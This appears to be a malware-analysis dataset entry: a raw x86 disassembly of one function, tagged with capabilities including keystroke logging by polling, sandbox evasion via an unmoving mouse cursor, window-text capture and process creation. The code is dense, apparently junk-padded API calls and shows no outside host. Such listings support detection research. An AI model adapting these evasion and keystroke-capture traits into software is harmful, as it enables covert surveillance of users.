Function at 0x40b750
Capabilities:
Check for unmoving mouse cursor
Create process on windows
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43f2ba
push eax
mov eax, 0x13ac
mov dword fs:[0], esp
call fcn.00413310
mov eax, dword [0x45c30c]
xorps xmm0, xmm0
push esi
add eax, 0x4a
xor esi, esi
push edi
movups xmmword [ebp - 0x1e8], xmm0
movups xmmword [ebp - 0x1f8], xmm0
movups xmmword [ebp - 0x34c], xmm0
test eax, eax
jle 0x40b7b9
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 1
push 0
push dword [0x45c31c]
call edi
mov eax, dword [0x45c30c]
inc esi
add eax, 0x4a
cmp esi, eax
jl 0x40b7a0
push dword [0x45c0fc]
push dword [0x459600]
push 0
push dword [0x45c31c]
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
sub esp, 8
xorps xmm0, xmm0
movsd qword [esp], xmm0
call fcn.0042a480
movd xmm0, dword [ebp - 0x1e4]
add esp, 8
cvtdq2ps xmm0, xmm0
push 0
push 0
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
fstp dword [ebp - 0x10]
addss xmm0, dword [ebp - 0x10]
push 0
cvttss2si eax, xmm0
mov dword [ebp - 0x1e4], eax
call sub.CRYPT32.dll_CryptSIPLoad
lea ecx, [ebp - 0x38]
mov dword [0x45c31c], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
call fcn.0040eb70
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x148]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x188], 0x30
mov dword [ebp - 0x18c], 0x4f
mov dword [ebp - 0x148], 0x4f
mov dword [ebp - 0x144], 0x30
call fcn.0040aec0
push eax
add eax, 0x10
lea ecx, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x250]
push eax
call fcn.0040b090
mov eax, dword [0x45c0fc]
mov ecx, dword [0x45c674]
mov dword [ebp - 0x160], eax
lea eax, [ebp - 0x160]
mov byte [ebp - 0x69], cl
mov byte [ebp - 0x15c], cl
lea ecx, [ebp - 0x38]
push eax
call fcn.0040aec0
push eax
add eax, 0x10
lea ecx, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.0040b090
mov eax, dword [0x45c0fc]
mov ecx, dword [0x45c674]
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x168]
mov byte [ebp - 0x6a], cl
mov byte [ebp - 0x164], cl
lea ecx, [ebp - 0x38]
push eax
call fcn.0040aec0
push eax
add eax, 0x10
lea ecx, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.0040b090
mov eax, dword [0x45c31c]
mov dword [ebp - 0x190], eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x140], eax
mov eax, dword [0x45c30c]
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x140]
push eax
call fcn.0040aec0
push eax
add eax, 0x10
lea ecx, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.0040b090
mov eax, dword [ebp - 0x1f0]
xor ecx, ecx
cmp dword [ebp + 8], ecx
push ecx
push ecx
push ecx
push ecx
cmovne eax, ecx
push ecx
mov dword [ebp - 0x1f0], eax
call sub.CRYPT32.dll_CryptSIPPutSignedDataMsg
mov dword [0x45cc5c], eax
test al, al
jne 0x40b995
movd xmm0, dword [0x45c0fc]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.0042a430
fstp qword [ebp - 0x74]
cvttsd2si eax, qword [ebp - 0x74]
add esp, 8
mov dword [0x45cc4c], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x114], 0
push eax
push 0
push 0
push 0
push 0
push 1
call dword [sym.imp.AUTHZ.dll_AuthzInitializeResourceManager]
mov ecx, dword [ebp - 0x38]
push ecx
mov dword [ebp - 0x194], ecx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ecx]
lea ecx, [ebp - 0x38]
push eax
mov dword [ebp - 0x198], eax
lea eax, [ebp - 0x19c]
push eax
call fcn.0040f680
push dword [ebp - 0x38]
call fcn.00412c68
mov edx, dword [0x45cc54]
add esp, 4
mov ecx, dword [0x45cb04]
mov eax, edx
mov esi, dword [sym.imp.USER32.dll_DefWindowProcA]
sub eax, 0x308
je 0x40ba2c
sub eax, 5
je 0x40ba1c
push dword [0x45cc4c]
push ecx
push edx
push dword [0x45cc5c]
call esi
jmp 0x40ba36
test ecx, ecx
je 0x40ba36
mov dword [0x45cb04], 0
jmp 0x40ba36
mov dword [0x45cc4c], 1
push 0
lea eax, [ebp - 0x118]
mov dword [ebp - 0x118], 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
je 0x40ba82
push dword [0x45cc5c]
push eax
call dword [sym.imp.USER32.dll_ChangeClipboardChain]
test eax, eax
jne 0x40ba82
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x45cb04]
test eax, eax
mov edx, 5
cmovne ecx, edx
mov dword [0x45cb04], ecx
jmp 0x40ba88
mov ecx, dword [0x45cb04]
mov edx, dword [0x45cc54]
mov edi, dword [0x45cc5c]
mov dword [ebp - 0x18], edi
lea eax, [edx - 1]
cmp eax, 9
ja case.0x40baa3.2
jmp dword [eax*4 + 0x40d450]
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov ecx, eax
mov edi, dword [ebp + 8]
mov esi, ecx
shr esi, 0x10
imul eax, esi, 0x32
push 0
push edi
push 0
push dword [ebp - 0x18]
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
movzx eax, cx
imul ecx, eax, 0x19
mov dword [ebp - 0x20], eax
lea eax, [esi + esi]
cdq
and edx, 7
mov esi, dword [sym.imp.USER32.dll_CreateWindowExA]
add eax, edx
sar eax, 3
push ecx
push eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
lea eax, [eax + eax*2]
add eax, eax
cdq
and edx, 3
add eax, edx
sar eax, 2
push eax
push 0x50000002
push 0x440474
push str.COMBOBOX
push 0
call esi
push 0
push edi
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x10]
push dword [ebp - 0x24]
lea ecx, [eax*8]
sub ecx, eax
shl ecx, 2
push ecx
push 0x50000002
push 0x440474
push str.COMBOBOX
push 0
call esi
mov esi, dword [sym.imp.USER32.dll_ChildWindowFromPoint]
push 1
push 1
push dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
call esi
push 1
push 1
push dword [ebp - 0x10]
mov edi, eax
call esi
push 0x40eb60
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x40bc53
call dword [sym.imp.USER32.dll_GetFocus]
push dword [ebp + 8]
cmp eax, dword [ebp + 8]
jne 0x40bbbf
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x40bc53
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
cmove ecx, dword [ebp + 8]
push 0
push 0xffffffffffffffff
push 0x14e
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x40bc53
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, dword [ebp + 8]
mov esi, dword [ebp + 8]
push dword [ebp + 8]
cmove esi, dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetFocus]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0x147
push esi
call edi
cmp eax, 0xffffffff
jne 0x40bc53
lea eax, [ebp - 0x59c]
push eax
push 0x100
push 0xd
push esi
call edi
test eax, eax
je 0x40bc53
lea eax, [ebp - 0x59c]
push eax
push 0xffffffffffffffff
push 0x158
push esi
call edi
cmp eax, 0xffffffff
jne 0x40bc3b
lea eax, [ebp - 0x59c]
push eax
push 0
push 0x143
push esi
call edi
cmp eax, 0xffffffff
je 0x40bc53
push 0
push eax
push 0x14e
push esi
call edi
jmp 0x40bc53
push dword [0x45cc4c]
push ecx
push edx
push edi
call esi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x69c]
push 0x100
push 0
push eax
mov dword [0x45cb08], 0x442134
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x18], edi
call fcn.0041c490
mov esi, dword [0x45c314]
xorps xmm0, xmm0
mov eax, esi
mov dword [ebp - 0x14], 0
shl eax, 8
add esp, 0xc
movups xmmword [ebp - 0x208], xmm0
movups xmmword [ebp - 0x260], xmm0
movups xmmword [ebp - 0x2b0], xmm0
cmp eax, 0x106
jle 0x40bd48
movd xmm0, dword [0x45c308]
sub esp, 8
cvtdq2ps xmm0, xmm0
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.0042a390
mov ecx, dword [0x45c308]
add esp, 8
mov eax, dword [0x45cc4c]
cdq
fstp dword [ebp - 0x10]
lea ecx, [ecx + 0x36]
fld dword [ebp - 0x10]
idiv ecx
fstp dword [ebp - 0x10]
mov esi, eax
mov eax, 0x66666667
imul dword [ebp - 0x2a4]
movzx eax, byte [0x45cc60]
sar edx, 1
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movd xmm1, ecx
mulss xmm0, dword [ebp - 0x10]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm0
movd xmm0, dword [ebp - 0x1fc]
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
xorps xmm0, xmm0
subss xmm0, xmm1
cvttss2si edi, xmm0
mov dword [ebp - 0x20], edi
mov edi, dword [ebp + 8]
jmp 0x40bd7b
add esi, 2
mov dword [ebp - 0x20], 0x9000
shl esi, 8
xor ecx, ecx
mov eax, esi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004136b7
add esp, 4
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
cmp dword [0x45cc5c], 0
je 0x40bde7
mov eax, dword [0x45c310]
sub esp, 8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x442250]
cvtpd2ps xmm0, xmm0
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.0042a530
movd xmm1, edi
add esp, 8
mov edi, dword [0x45c314]
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
cvtdq2ps xmm1, xmm1
movd xmm0, edi
cvtdq2ps xmm0, xmm0
fstp dword [ebp - 0x10]
addss xmm0, dword [ebp - 0x10]
subss xmm0, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [ebp - 0x18], eax
jmp 0x40bdfb
mov edi, dword [0x45c314]
mov eax, edi
sub eax, dword [0x45c310]
dec eax
mov dword [0x459600], eax
mov esi, dword [0x45cc54]
add esi, 5
je 0x40be5a
mov edi, dword [sym.imp.GDI32.dll_SetTextAlign]
nop dword [eax]
push 0x40
lea eax, [ebp - 0x3f4]
push 0
push eax
call fcn.0041c490
add esp, 0xc
push 0
push 0
call edi
lea eax, [ebp - 0x3f4]
push eax
push dword [0x45c31c]
call dword [sym.imp.USER32.dll_EndPaint]
sub esi, 1
jne 0x40be10
mov edi, dword [0x45c0f8]
imul edi, dword [0x45cc5c]
add edi, 0x40
mov dword [ebp - 0x14], edi
mov edi, dword [0x45c314]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x30], 0
imul edi
mov ecx, 1
mov dword [ebp - 0x2c], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x45c310]
cmp ecx, dword [0x45cc54]
lea ecx, [ebp - 0x30]
push 0
cmovg eax, edi
push 0
mov dword [0x45c310], eax
call fcn.0040ec00
mov dword [ebp - 0x30], eax
mov eax, dword [eax]
lea ecx, [ebp - 0x11c]
push ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 1
mov dword [ebp - 0x10], eax
push dword [eax + 4]
push eax
call fcn.0040aea0
mov edx, dword [ebp - 0x2c]
mov esi, 0x15555554
mov ecx, esi
mov edi, eax
sub ecx, edx
cmp ecx, 1
jae 0x40bede
push str.list_T__too_long
call fcn.004104e4
mov eax, dword [ebp - 0x10]
inc edx
mov ecx, dword [ebp - 0x30]
push 0x45cc58
mov dword [ebp - 0x10], ecx
mov dword [eax + 4], edi
mov eax, dword [edi + 4]
mov dword [ebp - 0x2c], edx
mov dword [eax], edi
mov eax, dword [ebp - 0x18]
imul eax, dword [0x45c314]
add eax, 8
mov dword [0x45c554], eax
mov eax, dword [ecx + 4]
push eax
push ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1a0], eax
call fcn.0040aea0
mov edx, dword [ebp - 0x2c]
mov ecx, esi
sub ecx, edx
mov edi, eax
cmp ecx, 1
jae 0x40bf35
push str.list_T__too_long
call fcn.004104e4
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
push 0x45c558
inc edx
mov dword [ebp - 0x2c], edx
mov dword [eax + 4], edi
mov eax, dword [edi + 4]
mov dword [eax], edi
mov edi, dword [ebp - 0x30]
push dword [edi + 4]
push edi
call fcn.0040aea0
sub esi, dword [ebp - 0x2c]
mov ecx, eax
cmp esi, 1
jae 0x40bf6c
push str.list_T__too_long
call fcn.004104e4
mov dword [edi + 4], ecx
mov eax, dword [ecx + 4]
mov edi, dword [ebp - 0x260]
mov dword [eax], ecx
mov eax, 0x45c100
movzx eax, ax
mov ecx, eax
mov dword [ebp - 0x44], eax
imul ecx, dword [ebp - 0x5aa]
mov eax, 0xd41d41d5
imul ecx, dword [0x45c308]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
lea edx, [ebp - 0x13b8]
shr ecx, 5
sub edx, ecx
mov ecx, dword [0x45c0f8]
movzx eax, cl
imul eax, dword [0x45cc4c]
sub edx, eax
mov eax, 0x38e38e39
add ecx, edx
imul edi
movzx eax, byte [0x45c0fc]
mov dword [0x45c0f8], ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, dword [0x45cc4c]
add ecx, dword [0x45c30c]
cmp ecx, eax
jl 0x40bffd
movzx eax, di
add eax, dword [ebp - 0x208]
mov dword [0x45c0fc], eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
push eax
mov dword [ebp - 0x1a4], eax
mov edx, dword [eax + 4]
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
call fcn.00412c68
add esp, 4
cmp dword [0x45cc54], 2
jl 0x40c069
cmp dword [0x45cc5c], 0x20
jl 0x40c069
push 0x40
lea eax, [ebp - 0x434]
push 0
push eax
call fcn.0041c490
add esp, 0xc
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [0x45c44c], eax
lea eax, [ebp - 0x434]
push eax
push dword [0x45c31c]
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x40c0a1
push dword [ebp - 0x14]
mov dword [ebp - 0x120], 0
push 0x3000
push dword [ebp - 0x20]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45c44c], eax
lea eax, [ebp - 0x120]
push eax
push 1
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntExA]
push str.msftedit.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x45cc4c]
mov dword [0x45cb04], eax
mov eax, dword [edi]
mov dword [edi], edi
mov dword [ebp - 4], 0xffffffff
mov dword [edi + 4], edi
mov dword [ebp - 0x2c], 0
cmp eax, edi
je 0x40c0e1
nop
mov esi, dword [eax]
push eax
call fcn.00412c68
add esp, 4
mov eax, esi
cmp esi, edi
jne 0x40c0d0
push edi
call fcn.00412c68
mov eax, dword [ebp + 8]
push 0x100
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x79c]
push 0
push eax
mov dword [ebp - 0x18], 1
call fcn.0041c490
push 0x208
xorps xmm0, xmm0
lea eax, [ebp - 0xaa4]
push 0
push eax
movups xmmword [ebp - 0xa8], xmm0
movups xmmword [ebp - 0x98], xmm0
movups xmmword [ebp - 0x158], xmm0
call fcn.0041c490
mov edi, dword [0x45cb04]
xorps xmm1, xmm1
mov esi, dword [0x45c314]
movaps xmm0, xmm1
psrldq xmm0, 4
add esp, 0x1c
movd eax, xmm1
movd ecx, xmm0
mov dword [ebp - 0x10], eax
imul ecx, eax
mov eax, 0x2aaaaaab
imul edi
imul ecx, dword [0x45c44c]
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov dword [ebp - 0xa0], eax
test esi, esi
je 0x40c1ec
push 6
push 3
lea eax, [ebp - 0x248]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x248], xmm0
call dword [sym.imp.USER32.dll_InflateRect]
mov esi, dword [0x45c314]
test esi, esi
je 0x40c1e6
call dword [sym.imp.USER32.dll_CreateMenu]
push str.Menu
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push str.Bitmap
push dword [ebp + 8]
mov esi, eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push 0
push esi
push 0x14
push edi
call dword [sym.imp.USER32.dll_AppendMenuA]
push str.Edit
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_LoadMenuA]
mov esi, dword [0x45c314]
mov edi, dword [0x45cb04]
mov edx, dword [0x459600]
mov dword [ebp - 0x14], edx
test edx, edx
je 0x40c204
movzx eax, dl
add dword [ebp - 0x98], eax
jmp 0x40c227
mov eax, dword [ebp - 0x8c]
lea ecx, [esi + 0x3f]
cdq
idiv ecx
mov edx, dword [0x45cc54]
sub edx, eax
add edx, dword [0x45cc4c]
mov dword [ebp - 0x14], edx
mov dword [0x459600], edx
mov ecx, dword [0x45cc54]
imul ecx, edi
movzx eax, dl
add eax, dword [ebp - 0x10]
add eax, ecx
mov ecx, dword [0x45c0fc]
mov dword [ebp - 0x158], eax
mov eax, dword [0x45c674]
sub eax, dword [0x45cc54]
mov dword [ebp - 0x1c], ecx
cmp eax, ecx
jle 0x40c27b
movzx ecx, di
mov eax, 0x51eb851f
mul ecx
movzx eax, byte [0x45cc5c]
shr edx, 3
add edx, eax
sub edx, dword [0x45c674]
mov dword [0x45cb04], edx
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x14], eax
test esi, esi
je 0x40c2b4
push eax
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
mov eax, dword [ebp - 0x1c]
movzx ecx, ax
push ecx
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
push 0xfffffffffffffff4
push esi
call dword [sym.imp.USER32.dll_SetClassLongA]
mov edx, dword [0x459600]
mov edi, dword [sym.imp.GDI32.dll_SetBkColor]
mov esi, 0x59
nop
push 0xff00ff
push edx
call edi
mov eax, dword [0x45c0f8]
lea ecx, [eax + eax]
movzx eax, word [0x45cc54]
sub ecx, eax
sub ecx, dword [0x45c558]
mov dword [0x45c0f8], ecx
sub esi, 1
je 0x40c2f2
mov edx, dword [0x459600]
jmp 0x40c2c0
mov ecx, dword [0x45c308]
mov eax, dword [0x45c314]
mov edx, dword [0x45cb04]
mov dword [ebp - 0x1c], edx
cmp cx, ax
je 0x40c319
mov esi, dword [0x45c30c]
sub esi, edx
add esi, dword [ebp + 8]
mov dword [ebp - 0x20], esi
mov esi, dword [0x45c31c]
test esi, esi
je 0x40c343
test eax, eax
je 0x40c343
push 0
push 0
push eax
push esi
push eax
call dword [sym.imp.USER32.dll_CallWindowProcA]
mov edx, dword [0x45cb04]
mov ecx, dword [0x45c308]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x10], 0
test ecx, ecx
jle 0x40c7da
mov edi, dword [ebp - 0x94]
mov esi, 1
sub esi, dword [ebp - 0x9c]
mov dword [ebp - 0x54], esi
test edx, edx
jne 0x40c377
mov eax, dword [0x45c0fc]
mov dword [ebp - 0x150], eax
jmp 0x40c399
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x14c]
movzx eax, ax
sub ecx, eax
add ecx, dword [ebp - 0x20]
add ecx, dword [0x45cc4c]
add edx, ecx
mov dword [0x45cb04], edx
lea eax, [ebp - 0x88]
mov dword [ebp - 0x124], 0
push eax
push 0
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x128], 0
call dword [sym.imp.RPCRT4.dll_RpcBindingServerFromClient]
imul eax, dword [0x45c314]
push 0x7f00
push dword [ebp + 8]
mov dword [ebp - 0x24], eax
call dword [sym.imp.USER32.dll_LoadIconA]
cmp dword [0x45c314], 0
je 0x40c423
cmp dword [0x45c31c], 0
je 0x40c423
push 0x45c450
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
lea eax, [ebp - 0x124]
push eax
push 0
push 0
call dword [sym.imp.RPCRT4.dll_RpcBindingInqOption]
imul eax, dword [0x45c31c]
imul esi, dword [0x45cb04]
mov dword [ebp - 0x3c], eax
mov eax, 0x88888889
imul dword [0x45c308]
add edx, dword [0x45c308]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x459600]
sub esi, dword [ebp - 0xa4]
sub esi, dword [0x45cc4c]
cmp word [0x45c558], 0
mov dword [0x45cb04], esi
cmovne eax, esi
mov dword [0x459600], eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.RPCRT4.dll_RpcBindingToStringBindingW]
mov edx, dword [0x45cb04]
mov esi, eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x459600]
imul esi, eax
mov dword [ebp - 0x1c], edx
cmp edx, ecx
jne 0x40c4c8
mov eax, dword [0x45c44c]
movzx ecx, al
mov eax, dword [ebp - 0x14]
mov dword [0x459600], ecx
cmp dword [0x45c674], 0x45c100
jge 0x40c4f4
imul eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x79c]
sub eax, ecx
mov ecx, dword [0x459600]
add eax, dword [ebp - 0x44]
add edx, eax
mov dword [ebp - 0x1c], edx
mov dword [0x45cb04], edx
cmp dword [0x45c31c], esi
jne 0x40c539
mov eax, dword [0x45cc54]
cmp dword [ebp - 0x24], eax
jne 0x40c539
mov esi, dword [0x45cc5c]
cmp dword [ebp - 0x3c], esi
jne 0x40c539
lea ecx, [eax + 0x42]
cdq
idiv ecx
cmp eax, dword [ebp - 0xa8]
jle 0x40c528
sub esi, dword [ebp - 0x150]
add dword [ebp - 0x18], esi
mov ecx, dword [0x45cc60]
mov esi, dword [0x45cc58]
mov dword [ebp - 0x3c], ecx
jmp 0x40c574
mov esi, dword [0x45cc58]
movzx eax, cx
add eax, dword [0x45c30c]
je 0x40c554
mov eax, esi
sub eax, ecx
add dword [0x45cc4c], eax
mov eax, dword [0x45c44c]
movzx ecx, al
mov eax, dword [ebp - 0xa90]
imul ecx, edx
mov dword [ebp - 0x3c], 0
sub eax, ecx
mov dword [ebp - 0x154], eax
mov eax, dword [0x45c314]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x40c5aa
lea eax, [ebp - 0x1a8]
push eax
push dword [0x45c31c]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [0x45c314]
mov edx, dword [0x45cb04]
mov esi, dword [0x45cc58]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], edx
cmp word [0x45c674], 0
je 0x40c5bf
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0xa0], esi
jmp 0x40c615
movzx eax, byte [0x45c308]
lea ecx, [esi + 0x4d]
cdq
idiv ecx
mov esi, eax
mov eax, dword [ebp - 0x14]
movzx ecx, ax
mov eax, dword [0x459600]
imul esi, ecx
movzx ecx, ax
mov eax, 0xb21642c9
imul dword [0x45c674]
imul esi, ecx
lea eax, [ebp - 0xaa4]
add edx, dword [0x45c674]
sar edx, 4
mov ecx, edx
movzx eax, al
shr ecx, 0x1f
add esi, edx
add ecx, esi
add ecx, eax
mov dword [ebp - 0x48], ecx
mov esi, ecx
mov dword [ebp - 0xa0], ecx
cmp dword [ebp - 0x3c], 0
jne 0x40c67b
mov esi, dword [ebp - 0x24]
push 1
push esi
call dword [sym.imp.GDI32.dll_SetBkMode]
push 0xff
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
xorps xmm0, xmm0
lea eax, [ebp - 0x318]
push eax
movups xmmword [ebp - 0x318], xmm0
movups xmmword [ebp - 0x308], xmm0
movq qword [ebp - 0x2f8], xmm0
call sub.pdh.dll_PdhBrowseCountersA
mov eax, 0x4ec4ec4f
mul dword [ebp - 0x20]
movzx eax, di
shr edx, 2
sub edx, eax
sub edx, dword [ebp - 0x9c]
sub edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x14]
add edi, edx
jmp 0x40c7b5
mov ecx, dword [0x45c31c]
mov eax, dword [0x45c0f8]
cdq
lea ecx, [ecx + 0x4b]
idiv ecx
mov ecx, dword [0x45c30c]
imul eax, dword [ebp - 0x9c]
add ecx, 0x48
cdq
idiv ecx
add eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x98]
jbe 0x40c6bb
mov eax, 0x45c100
movzx edx, al
sub edx, dword [ebp - 0x9c]
mov dword [ebp - 0x1c], edx
mov ecx, dword [0x45cc58]
mov eax, dword [0x45c0fc]
cdq
lea ecx, [ecx + 0x5b]
idiv ecx
mov edx, dword [ebp - 0x1c]
movzx ecx, dl
imul eax, ecx
mov ecx, dword [ebp - 0x18]
sub edx, eax
movzx eax, si
mov dword [ebp - 0x1c], edx
mov dword [0x45cb04], edx
cmp eax, ecx
ja 0x40c6f7
mov eax, ecx
mov ecx, dword [ebp - 0x20]
imul eax, ecx
sub dword [ebp - 0x14], eax
jmp 0x40c6fa
mov ecx, dword [ebp - 0x20]
mov eax, dword [0x45c31c]
xor esi, esi
add eax, 0x1f
test eax, eax
jle 0x40c7c4
mov eax, 0x4ec4ec4f
mul ecx
mov ecx, edx
shr ecx, 2
mov dword [ebp - 0x48], ecx
nop dword [eax + eax]
movzx eax, di
sub ecx, eax
sub ecx, dword [ebp - 0x9c]
sub ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x14]
push 0
push 0
push 0
push dword [0x45c560]
add edi, ecx
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
cmp dword [0x45c314], 0
je 0x40c7a1
push 4
lea eax, [ebp - 0x110]
mov byte [ebp - 0x110], 1
push eax
mov dword [ebp - 0x10e], 0xa002e
mov byte [ebp - 0x10a], 1
mov dword [ebp - 0x108], 0xc0008
mov byte [ebp - 0x104], 1
mov dword [ebp - 0x102], 0x10000d
mov byte [ebp - 0xfe], 9
mov dword [ebp - 0xfc], 0x12004a
call dword [sym.imp.USER32.dll_CreateAcceleratorTableA]
mov eax, dword [0x45c31c]
inc esi
mov ecx, dword [ebp - 0x48]
add eax, 0x1f
cmp esi, eax
jl 0x40c720
mov edx, dword [0x45cb04]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x94], edi
mov esi, dword [ebp - 0x10]
inc esi
cmp esi, dword [0x45c308]
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 0x54]
jl 0x40c366
movzx esi, byte [0x45c558]
movzx eax, byte [0x45cc5c]
imul esi, eax
mov eax, 0x2aaaaaab
imul dword [ebp - 0x90]
movzx eax, byte [0x45cc54]
sar edx, 1
mov ecx, edx
mov dword [0x45c558], 2
shr ecx, 0x1f
add ecx, edx
add ecx, dword [ebp - 0x1c]
push 0
push 0
add ecx, esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
add eax, ecx
push 0
mov dword [ebp - 0x8c], eax
call esi
test eax, eax
jne 0x40c837
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x100
lea eax, [ebp - 0x89c]
push 0
push eax
call fcn.0041c490
push 0x208
xorps xmm0, xmm0
lea eax, [ebp - 0x11b0]
push 0
push eax
movups xmmword [ebp - 0xb8], xmm0
movups xmmword [ebp - 0x1d8], xmm0
movups xmmword [ebp - 0x138], xmm0
call fcn.0041c490
xorps xmm0, xmm0
add esp, 0x18
psrldq xmm0, 0xc
movd ecx, xmm0
neg ecx
cmp ecx, dword [0x45cb04]
jne 0x40c8b8
mov eax, 0x88888889
imul dword [0x45cc4c]
mov eax, dword [0x45c558]
add edx, dword [0x45cc4c]
neg eax
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
add dword [ebp - 0xac], eax
push 0x442180
push 0
push 0
push 0
call esi
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x1d4]
movzx ecx, ax
sub ecx, dword [ebp - 0x12c]
je 0x40c8f3
movzx ecx, word [0x45cc54]
imul ecx, dword [0x45cc5c]
add ecx, dword [0x45cc4c]
mov dword [ebp - 0xb0], ecx
xor esi, esi
push 8
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
